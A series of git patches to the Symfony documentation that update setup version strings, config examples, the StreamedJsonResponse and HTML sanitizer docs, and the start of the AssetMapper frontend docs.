-The ``ValueResolver`` attribute can also be used to disable the targeted resolver
-by passing its ``$disabled`` argument to ``true``, in which case it won't be called.
-This is how :ref:`MapEntity allows to disable the EntityValueResolver
-for a specific controller <doctrine-entity-value-resolver>`.
+A targeted resolver can also be disabled by passing ``ValueResolver``'s ``$disabled``
+argument to ``true``; this is how :ref:`MapEntity allows to disable the
+EntityValueResolver for a specific controller <doctrine-entity-value-resolver>`.
 Yes, ``MapEntity`` extends ``ValueResolver``!
 
-
 Adding a Custom Value Resolver
 ------------------------------
 

From caae3c5d65b70820977711b4f238f4d53475f0ea Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 4 Jun 2023 19:28:06 +0300
Subject: [PATCH 4693/7107] setup.rst documentation fix

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 7bb5a8010a2..bf045c25710 100644
--- a/setup.rst
+++ b/setup.rst
@@ -46,10 +46,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.3.*@dev" --webapp
+    $ symfony new my_project_directory --version="6.3.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.3.*@dev"
+    $ symfony new my_project_directory --version="6.3.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -61,12 +61,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.3.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.3.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.3.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.3.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 1c5902d739130eaff5438efa764802e14b3ce822 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 4 Jun 2023 19:27:19 +0300
Subject: [PATCH 4694/7107] setup.rst documentation fix

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index bf045c25710..e8f3ee791a2 100644
--- a/setup.rst
+++ b/setup.rst
@@ -46,10 +46,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.3.*" --webapp
+    $ symfony new my_project_directory --version="6.4.*@dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.3.*"
+    $ symfony new my_project_directory --version="6.4.*@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -61,12 +61,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.3.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.3.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 68f135862f28f388b90ae9196380697f80e7ba08 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Jun 2023 08:37:14 +0200
Subject: [PATCH 4695/7107] Update setup docs for Symfony 7.0

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index e8f3ee791a2..0ad060d8480 100644
--- a/setup.rst
+++ b/setup.rst
@@ -46,10 +46,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.4.*@dev" --webapp
+    $ symfony new my_project_directory --version="7.0.*@dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.4.*@dev"
+    $ symfony new my_project_directory --version="7.0.*@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -61,12 +61,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.0.*@dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.0.*@dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 7fb55b4139281cd4346fad48f1f39bd660863324 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Jun 2023 09:09:23 +0200
Subject: [PATCH 4696/7107] Minor tweaks

---
 service_container.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 189071319ab..6d215be627d 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1313,14 +1313,15 @@ Let's say you have the following functional interface::
         public function format(string $message, array $parameters): string;
     }
 
-Now, you can define a service implementing this method, among other util ones::
+You also have a service that defines many methods and one of them is the same
+``format()`` method of the previous interface::
 
     // src/Service/MessageFormatterInterface.php
     namespace App\Service;
 
     class MessageUtils
     {
-        // other utils methods...
+        // other methods...
 
         public function format($string $message, array $parameters): string
         {
@@ -1328,8 +1329,8 @@ Now, you can define a service implementing this method, among other util ones::
         }
     }
 
-We can now use ``#[AutowireCallable]`` with our ``MessageUtils`` service
-to inject our functional interface implementation::
+Thanks to the ``#[AutowireCallable]`` attribute, you can now inject this
+``MessageUtils`` service as a functional interface implementation::
 
     namespace App\Service\Mail;
 
@@ -1358,8 +1359,8 @@ to inject our functional interface implementation::
     The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
     attribute was introduced in Symfony 6.3.
 
-Alternatively, generating an adapter for a functional interface can also
-be done through configuration:
+Instead of using the ``#[AutowireCallable]`` attribute, you can also generate
+an adapter for a functional interface through configuration:
 
 .. configuration-block::
 

From 1b24769ab39af5298a0305834dfbac04b6ba5f0c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 5 Jun 2023 15:02:19 +0200
Subject: [PATCH 4697/7107] [Session] Fix missing `code-block` directive

---
 session.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/session.rst b/session.rst
index 621749eadb0..058c0984b8c 100644
--- a/session.rst
+++ b/session.rst
@@ -517,6 +517,8 @@ a Symfony service for the connection to the Redis server:
 
 .. configuration-block::
 
+    .. code-block:: yaml
+
         # config/services.yaml
         services:
             # ...

From 4ac5d8984a4e1edf2cfb1f7638b57e083b149d51 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 5 Jun 2023 16:37:10 +0200
Subject: [PATCH 4698/7107] [Lock] Add Redis Secure DSN example

---
 lock.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/lock.rst b/lock.rst
index 8d5dc62617f..7a05152429e 100644
--- a/lock.rst
+++ b/lock.rst
@@ -50,6 +50,7 @@ this behavior by using the ``lock`` key like:
             lock: ['memcached://m1.docker', 'memcached://m2.docker']
             lock: 'redis://r1.docker'
             lock: ['redis://r1.docker', 'redis://r2.docker']
+            lock: 'rediss://r1.docker?ssl[verify_peer]=1&ssl[cafile]=...'
             lock: 'zookeeper://z1.docker'
             lock: 'zookeeper://z1.docker,z2.docker'
             lock: 'sqlite:///%kernel.project_dir%/var/lock.db'

From a4c126123cddaa04a3d1d0191ff6103743229d43 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 6 Jan 2023 17:00:17 +0100
Subject: [PATCH 4699/7107] [Config] Introducing the new `param()` function as
 early as possible

---
 configuration.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 79d014f9170..386e1453f1f 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -304,8 +304,6 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
             # any string surrounded by two % is replaced by that parameter value
             email_address: '%app.admin_email%'
 
-            # ...
-
     .. code-block:: xml
 
         <!-- config/packages/some_package.xml -->
@@ -328,13 +326,17 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
 
         // config/packages/some_package.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\param;
 
         return static function (ContainerConfigurator $container) {
             $container->extension('some_package', [
-                // any string surrounded by two % is replaced by that parameter value
-                'email_address' => '%app.admin_email%',
+                // when using the param() function, you only have to pass the parameter name...
+                'email_address' => param('app.admin_email'),
 
-                // ...
+                // ... but if you prefer it, you can also pass the name as a string
+                // surrounded by two % (same as in YAML and XML formats) and Symfony will
+                // replace it by that parameter value
+                'email_address' => '%app.admin_email%',
             ]);
         };
 

From 0c3c0f5d5e3b0e8f1bac4e23fe212918a4f97307 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Sun, 23 Apr 2023 10:36:41 +0400
Subject: [PATCH 4700/7107] Add missing type monolog config php config

---
 logging/monolog_email.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index e6da3dbeb51..3302707bea3 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -293,6 +293,7 @@ get logged on the server as well as the emails being sent:
             ;
 
             $monolog->handler('group')
+                ->type('group')
                 ->members(['streamed', 'deduplicated'])
             ;
 

From 44f23883483860f7c2a3238b1074ca95d5553395 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 Jun 2023 12:59:01 +0200
Subject: [PATCH 4701/7107] Tweaks

---
 configuration.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 2b84c4cfb24..f423a15c85b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -59,9 +59,9 @@ shown in these three formats.
 
 .. note::
 
-    By default, Symfony only loads the configuration
-    files defined in YAML format. If you define configuration in XML and/or PHP
-    formats, update the ``src/Kernel.php`` file::
+    By default, Symfony only loads the configuration files defined in YAML
+    format. If you define configuration in XML and/or PHP formats, update the
+    ``src/Kernel.php`` file::
 
         // src/Kernel.php
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
@@ -88,8 +88,8 @@ shown in these three formats.
         }
 
 There isn't any practical difference between formats. In fact, Symfony
-transforms all of them into PHP and caches them before running the application, so
-there's not even any performance difference.
+transforms all of them into PHP and caches them before running the application,
+so there's not even any performance difference.
 
 YAML is used by default when installing packages because it's concise and very
 readable. These are the main advantages and disadvantages of each format:

From db393f572f1b5f50c38cd51e4fc97f0d9242b5e1 Mon Sep 17 00:00:00 2001
From: Cristiano Cattaneo <c.cattaneo@net-evolution.com>
Date: Wed, 2 Nov 2022 22:47:37 +0100
Subject: [PATCH 4702/7107] Update multiple_entity_managers.rst

in this symfony version the "annotation" type for mappings should be treated as deprecated, or at least reported with a comment
---
 doctrine/multiple_entity_managers.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 081239bcd9f..b470f33d1d1 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -43,7 +43,6 @@ The following configuration code shows how you can configure two entity managers
                         mappings:
                             Main:
                                 is_bundle: false
-                                type: annotation
                                 dir: '%kernel.project_dir%/src/Entity/Main'
                                 prefix: 'App\Entity\Main'
                                 alias: Main
@@ -52,7 +51,6 @@ The following configuration code shows how you can configure two entity managers
                         mappings:
                             Customer:
                                 is_bundle: false
-                                type: annotation
                                 dir: '%kernel.project_dir%/src/Entity/Customer'
                                 prefix: 'App\Entity\Customer'
                                 alias: Customer
@@ -85,7 +83,6 @@ The following configuration code shows how you can configure two entity managers
                         <doctrine:mapping
                             name="Main"
                             is_bundle="false"
-                            type="annotation"
                             dir="%kernel.project_dir%/src/Entity/Main"
                             prefix="App\Entity\Main"
                             alias="Main"
@@ -96,7 +93,6 @@ The following configuration code shows how you can configure two entity managers
                         <doctrine:mapping
                             name="Customer"
                             is_bundle="false"
-                            type="annotation"
                             dir="%kernel.project_dir%/src/Entity/Customer"
                             prefix="App\Entity\Customer"
                             alias="Customer"
@@ -127,7 +123,6 @@ The following configuration code shows how you can configure two entity managers
             $defaultEntityManager->connection('default');
             $defaultEntityManager->mapping('Main')
                 ->isBundle(false)
-                ->type('annotation')
                 ->dir('%kernel.project_dir%/src/Entity/Main')
                 ->prefix('App\Entity\Main')
                 ->alias('Main');
@@ -135,7 +130,6 @@ The following configuration code shows how you can configure two entity managers
             $customerEntityManager->connection('customer');
             $customerEntityManager->mapping('Customer')
                 ->isBundle(false)
-                ->type('annotation')
                 ->dir('%kernel.project_dir%/src/Entity/Customer')
                 ->prefix('App\Entity\Customer')
                 ->alias('Customer')

From 8a285e37d1bda1d71382db7250522c396e02cfd4 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Wed, 28 Sep 2022 01:58:34 +0200
Subject: [PATCH 4703/7107] [HttpFoundation] Add documentation for
 `StreamedJsonResponse`

---
 components/http_foundation.rst | 98 ++++++++++++++++++++++++++++++++++
 1 file changed, 98 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 6f6cb5b524e..7f3840c4398 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -631,6 +631,103 @@ represented by a PHP callable instead of a string::
 
 .. _component-http-foundation-serving-files:
 
+Streaming a JSON Response
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` class was
+    introduced in Symfony 6.3.
+
+The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` allows an API to
+return a lot of data as JSON and keep the used resources low by make usage of Generators.
+
+It expects an array which represents the JSON structure and the list which should be
+streamed are represented in the array as ``\Generator``. It also supports any kind of
+Traversable containing JSON serializable data for a good developer experience,
+but for keep the resources usage as low as possible, it is recommended to use ``\Generators``,
+as they the advantages that only the current returned data need to be keep in memory.
+
+The response will stream the JSON with generators in to most efficient way and keep resources as low as possible::
+
+    use Symfony\Component\HttpFoundation\StreamedJsonResponse;
+
+    function loadArticles(): \Generator { // any method or function returning a Generator
+         yield ['title' => 'Article 1'];
+         yield ['title' => 'Article 2'];
+         yield ['title' => 'Article 3'];
+    };
+
+    $response = new StreamedJsonResponse(
+        // json structure with generators in which will be streamed as a list
+        [
+            '_embedded' => [
+                'articles' => loadArticles(), // any \Generator can be used which will be streamed as list of data
+            ],
+        ],
+    );
+
+.. tip::
+
+    If loading data via doctrine the ``toIterable`` method of ``Doctrine`` can be
+    used to keep the resources low and fetch only row by row.
+    See the `Doctrine Batch processing`_ documentation for more::
+
+        public function __invoke(): Response
+        {
+            return new StreamedJsonResponse(
+                [
+                    '_embedded' => [
+                        'articles' => $this->loadArticles(),
+                    ],
+                ],
+            );
+        }
+
+        public function loadArticles(): \Generator
+        {
+            $queryBuilder = $entityManager->createQueryBuilder();
+            $queryBuilder->from(Article::class, 'article');
+            $queryBuilder->select('article.id')
+                ->addSelect('article.title')
+                ->addSelect('article.description');
+
+            return $queryBuilder->getQuery()->toIterable();
+        }
+
+.. tip::
+
+    If you have a lot of data to be returned you may want to call the
+    PHP `flush <https://www.php.net/manual/en/function.flush.php>`__ method between
+    to flush the response after every specific count of items::
+
+        public function __invoke(): Response
+        {
+            return new StreamedJsonResponse([
+                '_embedded' => [
+                    'articles' => $this->loadArticles(),
+                ],
+            ]);
+        }
+
+        public function loadArticles(): \Generator
+        {
+            $queryBuilder = $entityManager->createQueryBuilder();
+            $queryBuilder->from(Article::class, 'article');
+            $queryBuilder->select('article.id')
+                ->addSelect('article.title')
+                ->addSelect('article.description');
+
+            $count = 0;
+            foreach ($queryBuilder->getQuery()->toIterable() as $article) {
+                yield $article;
+
+                if (++$count % 100 === 0) {
+                    flush();
+                }
+            }
+        }
+
 Serving Files
 ~~~~~~~~~~~~~
 
@@ -866,3 +963,4 @@ Learn More
 .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/
 .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside
 .. _RFC 8674: https://tools.ietf.org/html/rfc8674
+.. _Doctrine Batch processing: https://www.doctrine-project.org/projects/doctrine-orm/en/2.14/reference/batch-processing.html#iterating-results

From 3be5f6a48a4610e4cac0f9a5ee2a7c1443147b33 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 Jun 2023 15:11:56 +0200
Subject: [PATCH 4704/7107] Tweaks

---
 components/http_foundation.rst | 111 ++++++++++++++-------------------
 1 file changed, 47 insertions(+), 64 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 7f3840c4398..f4c9c550a09 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -629,8 +629,6 @@ represented by a PHP callable instead of a string::
         // disables FastCGI buffering in nginx only for this response
         $response->headers->set('X-Accel-Buffering', 'no');
 
-.. _component-http-foundation-serving-files:
-
 Streaming a JSON Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -639,94 +637,79 @@ Streaming a JSON Response
     The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` class was
     introduced in Symfony 6.3.
 
-The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` allows an API to
-return a lot of data as JSON and keep the used resources low by make usage of Generators.
+The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` allows to
+stream large JSON responses using PHP generators to keep the used resources low.
 
-It expects an array which represents the JSON structure and the list which should be
-streamed are represented in the array as ``\Generator``. It also supports any kind of
-Traversable containing JSON serializable data for a good developer experience,
-but for keep the resources usage as low as possible, it is recommended to use ``\Generators``,
-as they the advantages that only the current returned data need to be keep in memory.
-
-The response will stream the JSON with generators in to most efficient way and keep resources as low as possible::
+The class constructor expects an array which represents the JSON structure and
+includes the list of contents to stream. In addition to PHP generators, which are
+recommended to minimize memory usage, it also supports any kind of PHP Traversable
+containing JSON serializable data::
 
     use Symfony\Component\HttpFoundation\StreamedJsonResponse;
 
-    function loadArticles(): \Generator { // any method or function returning a Generator
+    // any method or function returning a PHP Generator
+    function loadArticles(): \Generator {
          yield ['title' => 'Article 1'];
          yield ['title' => 'Article 2'];
          yield ['title' => 'Article 3'];
     };
 
     $response = new StreamedJsonResponse(
-        // json structure with generators in which will be streamed as a list
+        // JSON structure with generators in which will be streamed as a list
         [
             '_embedded' => [
-                'articles' => loadArticles(), // any \Generator can be used which will be streamed as list of data
+                'articles' => loadArticles(),
             ],
         ],
     );
 
-.. tip::
-
-    If loading data via doctrine the ``toIterable`` method of ``Doctrine`` can be
-    used to keep the resources low and fetch only row by row.
-    See the `Doctrine Batch processing`_ documentation for more::
+When loading data via Doctrine, you can use the ``toIterable()`` method to
+fetch results row by row and minimize resources consumption.
+See the `Doctrine Batch processing`_ documentation for more::
 
-        public function __invoke(): Response
-        {
-            return new StreamedJsonResponse(
-                [
-                    '_embedded' => [
-                        'articles' => $this->loadArticles(),
-                    ],
+    public function __invoke(): Response
+    {
+        return new StreamedJsonResponse(
+            [
+                '_embedded' => [
+                    'articles' => $this->loadArticles(),
                 ],
-            );
-        }
+            ],
+        );
+    }
 
-        public function loadArticles(): \Generator
-        {
-            $queryBuilder = $entityManager->createQueryBuilder();
-            $queryBuilder->from(Article::class, 'article');
-            $queryBuilder->select('article.id')
-                ->addSelect('article.title')
-                ->addSelect('article.description');
+    public function loadArticles(): \Generator
+    {
+        // get the $entityManager somehow (e.g. via constructor injection)
+        $entityManager = ...
 
-            return $queryBuilder->getQuery()->toIterable();
-        }
+        $queryBuilder = $entityManager->createQueryBuilder();
+        $queryBuilder->from(Article::class, 'article');
+        $queryBuilder->select('article.id')
+            ->addSelect('article.title')
+            ->addSelect('article.description');
 
-.. tip::
+        return $queryBuilder->getQuery()->toIterable();
+    }
 
-    If you have a lot of data to be returned you may want to call the
-    PHP `flush <https://www.php.net/manual/en/function.flush.php>`__ method between
-    to flush the response after every specific count of items::
+If you return a lot of data, consider calling the :phpfunction:`flush` function
+after some specific item count to send the contents to the browser::
 
-        public function __invoke(): Response
-        {
-            return new StreamedJsonResponse([
-                '_embedded' => [
-                    'articles' => $this->loadArticles(),
-                ],
-            ]);
-        }
+    public function loadArticles(): \Generator
+    {
+        // ...
 
-        public function loadArticles(): \Generator
-        {
-            $queryBuilder = $entityManager->createQueryBuilder();
-            $queryBuilder->from(Article::class, 'article');
-            $queryBuilder->select('article.id')
-                ->addSelect('article.title')
-                ->addSelect('article.description');
-
-            $count = 0;
-            foreach ($queryBuilder->getQuery()->toIterable() as $article) {
-                yield $article;
-
-                if (++$count % 100 === 0) {
-                    flush();
-                }
+        $count = 0;
+        foreach ($queryBuilder->getQuery()->toIterable() as $article) {
+            yield $article;
+
+            if (0 === ++$count % 100) {
+                flush();
             }
         }
+    }
+
+.. _component-http-foundation-serving-files:
 
 Serving Files
 ~~~~~~~~~~~~~

From 9e3d22538dfdde17278d678080718b9565e106eb Mon Sep 17 00:00:00 2001
From: Patrick Landolt <patrick.landolt@artack.ch>
Date: Wed, 7 Jun 2023 14:07:44 +0200
Subject: [PATCH 4705/7107] subdomains are also allowed on allowed hosts

---
 html_sanitizer.rst | 30 ++++++++++++++++--------------
 1 file changed, 16 insertions(+), 14 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index fccaedd29cd..806f6c85283 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -730,8 +730,8 @@ URLs of ``<a>`` elements:
                         allowed_link_schemes: ['http', 'https', 'mailto']
 
                         # specifies the allowed hosts, the attribute will be dropped if the
-                        # URL contains a different host
-                        allowed_link_hosts: ['symfony.com']
+                        # URL contains a different host which is not a subdomain of the allowed host
+                        allowed_link_hosts: ['symfony.com'] # also allows any subdomain (i.e. www.symfony.com)
 
                         # whether to allow relative links (i.e. URLs without scheme and host)
                         allow_relative_links: true
@@ -763,7 +763,8 @@ URLs of ``<a>`` elements:
                     <allowed-link-scheme>mailto</allowed-link-scheme>
 
                     <!-- specifies the allowed hosts, the attribute will be dropped if the
-                         URL contains a different host -->
+                         URL contains a different host which is not a subdomain of the allowed host
+                         Also allows any subdomain (i.e. www.symfony.com) -->
                     <allowed-link-host>symfony.com</allowed-link-host>
                 </framework:html-sanitizer>
             </framework:config>
@@ -786,8 +787,8 @@ URLs of ``<a>`` elements:
                     ->allowedLinkSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the
-                    // URL contains a different host
-                    ->allowedLinkHost('symfony.com')
+                    // URL contains a different host which is not a subdomain of the allowed host
+                    ->allowedLinkHost('symfony.com') // Also allows any subdomain (i.e. www.symfony.com)
 
                     // whether to allow relative links (i.e. URLs without scheme and host)
                     ->allowRelativeLinks(true)
@@ -810,8 +811,8 @@ URLs of ``<a>`` elements:
                 ->allowedLinkSchemes(['http', 'https', 'mailto'])
 
                 // specifies the allowed hosts, the attribute will be dropped if the
-                // URL contains a different host
-                ->allowedLinkHosts(['symfony.com'])
+                // URL contains a different host which is not a subdomain of the allowed host
+                ->allowedLinkHosts(['symfony.com']) // Also allows any subdomain (i.e. www.symfony.com)
 
                 // whether to allow relative links (i.e. URLs without scheme and host)
                 ->allowRelativeLinks()
@@ -844,8 +845,8 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                         allowed_media_schemes: ['http', 'https', 'mailto']
 
                         # specifies the allowed hosts, the attribute will be dropped if the URL
-                        # contains a different host
-                        allowed_media_hosts: ['symfony.com']
+                        # contains a different host which is not a subdomain of the allowed host
+                        allowed_media_hosts: ['symfony.com'] # Also allows any subdomain (i.e. www.symfony.com)
 
                         # whether to allow relative URLs (i.e. URLs without scheme and host)
                         allow_relative_medias: true
@@ -877,7 +878,8 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                     <allowed-media-scheme>mailto</allowed-media-scheme>
 
                     <!-- specifies the allowed hosts, the attribute will be dropped if the URL
-                         contains a different host -->
+                         contains a different host which is not a subdomain of the allowed host.
+                         Also allows any subdomain (i.e. www.symfony.com) -->
                     <allowed-media-host>symfony.com</allowed-media-host>
                 </framework:html-sanitizer>
             </framework:config>
@@ -900,8 +902,8 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                     ->allowedMediaSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the URL
-                    // contains a different host
-                    ->allowedMediaHost('symfony.com')
+                    // contains a different host which is not a subdomain of the allowed host
+                    ->allowedMediaHost('symfony.com') // Also allows any subdomain (i.e. www.symfony.com)
 
                     // whether to allow relative URLs (i.e. URLs without scheme and host)
                     ->allowRelativeMedias(true)
@@ -924,8 +926,8 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 ->allowedMediaSchemes(['http', 'https', 'mailto'])
 
                 // specifies the allowed hosts, the attribute will be dropped if the URL
-                // contains a different host
-                ->allowedMediaHosts(['symfony.com'])
+                // contains a different host which is not a subdomain of the allowed host
+                ->allowedMediaHosts(['symfony.com']) // Also allows any subdomain (i.e. www.symfony.com)
 
                 // whether to allow relative URLs (i.e. URLs without scheme and host)
                 ->allowRelativeMedias()

From ef779368ec3487b6eec01504d3aab738c85fab7e Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Fri, 2 Jun 2023 15:50:34 -0400
Subject: [PATCH 4706/7107] Hello AssetMapper Documentation

---
 deployment.rst               |    1 +
 frontend.rst                 |   74 ++-
 frontend/asset_mapper.rst    | 1097 ++++++++++++++++++++++++++++++++++
 reference/twig_reference.rst |    6 +
 4 files changed, 1161 insertions(+), 17 deletions(-)
 create mode 100644 frontend/asset_mapper.rst

diff --git a/deployment.rst b/deployment.rst
index 5cc9b0f7113..d6172c3f6d8 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -222,6 +222,7 @@ setup:
 * Add/edit CRON jobs
 * Restarting your workers
 * :ref:`Building and minifying your assets <how-do-i-deploy-my-encore-assets>` with Webpack Encore
+* :ref:`Compile your assets <asset-mapper-deployment>` if you're using the AssetMapper component
 * Pushing assets to a CDN
 * On a shared hosting platform using the Apache web server, you may need to
   install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
diff --git a/frontend.rst b/frontend.rst
index acd7d1c2f46..f04dbdf14d4 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -1,21 +1,48 @@
-Managing CSS and JavaScript
-===========================
-
-.. admonition:: Screencast
-    :class: screencast
-
-    Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
-
-Symfony ships with a pure-JavaScript library - called Webpack Encore - that makes
-it a joy to work with CSS and JavaScript. You can use it, use something else, or
-create static CSS and JS files in your ``public/`` directory directly and
-include them in your templates.
+Introduction
+============
+
+Symfony gives you the flexibility to choose any front-end tools you want. This could
+be dead-simple - like putting CSS & JS directly in the ``public/`` directory - or
+more advanced - like scaffolding your front-end with a tool like Next.js.
+
+However, Symfony *does* come with two powerful option to help you build a modern,
+fast frontend, *and* enjoy the process:
+
+* :ref:`Webpack Encore <frontend-webpack-encore>` is a powerful tool built with Node
+  on top of `Webpack`_ that allows you to write modern CSS & JavaScript and handle
+  things like JSX (React), Vue or TypeScript.
+
+* :ref:`AssetMapper <frontend-asset-mapper>`, is a production-ready simpler alternative
+  to Webpack Encore that runs entirely in PHP. It's currently experimental.
+
+==========================================  =================  ======================================================
+                                            Encore             AssetMapper
+==========================================  =================  ======================================================
+Production Ready?                           yes                yes
+Stable?                                     yes                :doc:`experimental </contributing/code/experimental>`
+Requirements                                node               none: pure PHP
+Requires a build step?                      yes                no
+Works in all browsers?                      yes                yes
+Supports :doc:`Stimulus/UX </frontend/ux>`  yes                yes
+Supports Sass/Tailwind                      yes                :ref:`yes <asset-mapper-tailwind>`
+Supports React, Vue, Svelte?                yes                yes**
+Supports TypeScript                         yes                no**
+==========================================  =================  ======================================================
+
+** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
+   need to use their native tools for pre-compilation. Also, some features (like
+   Vue single-file components) cannot be compiled down to pure JavaScript that can
+   be executed by a browser.
 
 .. _frontend-webpack-encore:
 
 Webpack Encore
 --------------
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
+
 `Webpack Encore`_ is a simpler way to integrate `Webpack`_ into your application.
 It *wraps* Webpack, giving you a clean & powerful API for bundling JavaScript modules,
 pre-processing CSS & JS and compiling and minifying assets. Encore gives you professional
@@ -84,14 +111,31 @@ Full API
 
 * `Full API`_
 
+.. _frontend-asset-mapper:
+
+AssetMapper
+-----------
+
